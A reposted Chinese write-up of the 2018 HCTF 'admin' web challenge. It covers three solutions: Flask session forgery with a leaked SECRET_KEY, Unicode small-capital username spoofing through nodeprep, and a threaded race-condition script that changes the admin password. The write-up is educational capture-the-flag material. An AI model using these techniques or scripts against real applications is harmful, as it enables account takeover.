一题三解之2018HCTF&admin

栏目: Python · 发布时间: 5年前

内容简介:有幸拿到了这道题的1血,也在赛后的交流讨论中,发现了一些新的思路,总结一下3个做法:拿到题目

一题三解之2018HCTF&admin

前言

有幸拿到了这道题的1血,也在赛后的交流讨论中,发现了一些新的思路,总结一下3个做法:

  • 法1:伪造session
  • 法2:unicode欺骗
  • 法3:条件竞争

信息搜集

拿到题目

http://admin.2018.hctf.io/

f12查看源代码

<!-- you are not admin -->

发现提示要成为admin

随便注册个账号,登入后,在

view-source:http://admin.2018.hctf.io/change

发现提示

<!-- https://github.com/woadsl1234/hctf_flask/ -->

于是下载源码

功能分析

拿到代码后,简单的查看了下路由

@app.route('/index')
def index():

@app.route('/register', methods = ['GET', 'POST'])
def register():

@app.route('/login', methods = ['GET', 'POST'])
def login():

@app.route('/logout')
def logout():

@app.route('/change', methods = ['GET', 'POST'])
def change():

@app.route('/edit', methods = ['GET', 'POST'])
def edit():

查看一下路由,功能非常单一:登录,改密码,退出,注册,edit。

但edit功能也是个假功能,并且发现并不会存在 sql 注入之类的问题,也没有文件写入或者是一些危险的函数,此时陷入了困境。

解法一:session伪造

初步探索

想到的第一个方法:session伪造

于是尝试伪造session,根据ph写的文章

https://www.leavesongs.com/PENETRATION/client-session-security.html

可以知道flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

所以我们构造脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

然后可以尝试读取我们的session内容

一题三解之2018HCTF&admin

此时容易想到伪造admin得到flag,因为看到代码中

一题三解之2018HCTF&admin

想到把name伪造为admin,于是github上找了个脚本

https://github.com/noraj/flask-session-cookie-manager

尝试伪造

{u'csrf_token': 'bedddc7469bf16ac02ffd69664abb7abf7e3529c', u'user_id': u'1', u'name': u'admin', u'image': 'aHme', u'_fresh': True, u'_id': '26a01e32366425679ab7738579d3ef6795cad198cd94529cb495fcdccc9c3c864f851207101b38feb17ea8e7e7d096de8cad480b656f785991abc8656938182e'}

但是需要SECRET_KEY

我们发现config.py中存在

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

于是尝试ckj123

一题三解之2018HCTF&admin

但是比赛的时候很遗憾,最后以失败告终,当时以为key不是SECRET_KEY,就没有深究

后来发现问题https://graneed.hatenablog.com/entry/2018/11/11/212048

似乎 python 3和python2的flask session生成机制不同

一题三解之2018HCTF&admin

改用python3生成即可成功伪造管理员

一题三解之2018HCTF&admin

解法二:Unicode欺骗

代码审计

在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现这样一句

一题三解之2018HCTF&admin

好奇怪,为什么要转小写呢?

难道注册的时候没有转大小写吗?

一题三解之2018HCTF&admin

一题三解之2018HCTF&admin

但随后发现注册和登录都用了转小写,注册ADMIN的计划失败

但是又有一个特别的地方,我们python转小写一般用的都是lower(),为什么这里是strlower()?

有没有什么不一样的地方呢?于是想到跟进一下函数

def strlower(username):
    username = nodeprep.prepare(username)
    return username

本能的去研究了一下nodeprep.prepare

找到对应的库

https://github.com/twisted/twisted

这个方法很容易懂,即将大写字母转为小写

但是很快就容易发现问题

一题三解之2018HCTF&admin

一题三解之2018HCTF&admin

版本差的可真多,十有八九这里有猫腻

unicode问题

后来搜到这样一篇文章

https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e

对于如下字母

一题三解之2018HCTF&admin

ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ

具体编码可查https://unicode-table.com/en/search/?q=small+capital

nodeprep.prepare会进行如下操作

ᴀ -> A -> a

一题三解之2018HCTF&admin

即第一次将其转换为大写,第二次将其转换为小写

那么是否可以用来bypass题目呢?

攻击构造

我们容易想到一个攻击链:

  • 注册用户ᴀdmin
  • 登录用户ᴀdmin,变成Admin
  • 修改密码Admin,更改了admin的密码

于是成功得到如下flag

一题三解之2018HCTF&admin

这里的unicode欺骗,让我想起了一道sql注入题目

skysec.top/2018/03/21/从一道题深入 mysql 字符集与比对方法collation/

解法三:条件竞争

该方法也是赛后交流才发现的,感觉有点意思

代码审计

我们发现代码在处理session赋值的时候

一题三解之2018HCTF&admin

一题三解之2018HCTF&admin 两个危险操作,一个登陆一个改密码,都是在不安全check身份的情况下,直接先赋值了session

那么这里就会存在一些风险

那么我们设想,能不能利用这一点,改掉admin的密码呢?

例如:

  • 我们登录sky用户,得到session a
  • 用session a去登录触发admin赋值
  • 改密码,此时session a已经被更改为session b了,即session name=admin
  • 成功更改admin的密码

但是构想是美好的,这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的

一题三解之2018HCTF&admin

我们会在第一步直接跳转,所以这里需要条件竞争

条件竞争思路

那么能不能避开这个check呢?

答案是显然的,我们双线并进

当我们的一个进程运行到改密码

一题三解之2018HCTF&admin

这里的时候

我们的另一个进程正好退出了这个用户,并且来到了登录的这个位置

一题三解之2018HCTF&admin

此时正好session name变为admin,change密码正好更改了管理员密码

payload

这里直接用研友syang @Whitzard 的脚本了

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://admin.2018.hctf.io/login", data=data)

def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://admin.2018.hctf.io/change", data=data)

def func1(s):
    login(s, 'skysec', 'skysec')
    change(s, 'skysec')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'skysec')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

注:但在后期测试中我没能成功,后面再研究一下,但我认为思路应该是正确的。

后记

题目可能因为一些失误有一些非预期,但是能进行这么多解法,对学习还是非常有帮助的。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Pro CSS and HTML Design Patterns

Pro CSS and HTML Design Patterns

Michael Bowers / Apress / April 23, 2007 / $44.99

Design patterns have been used with great success in software programming. They improve productivity, creativity, and efficiency in web design and development, and they reduce code bloat and complexit......一起来看看 《Pro CSS and HTML Design Patterns》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具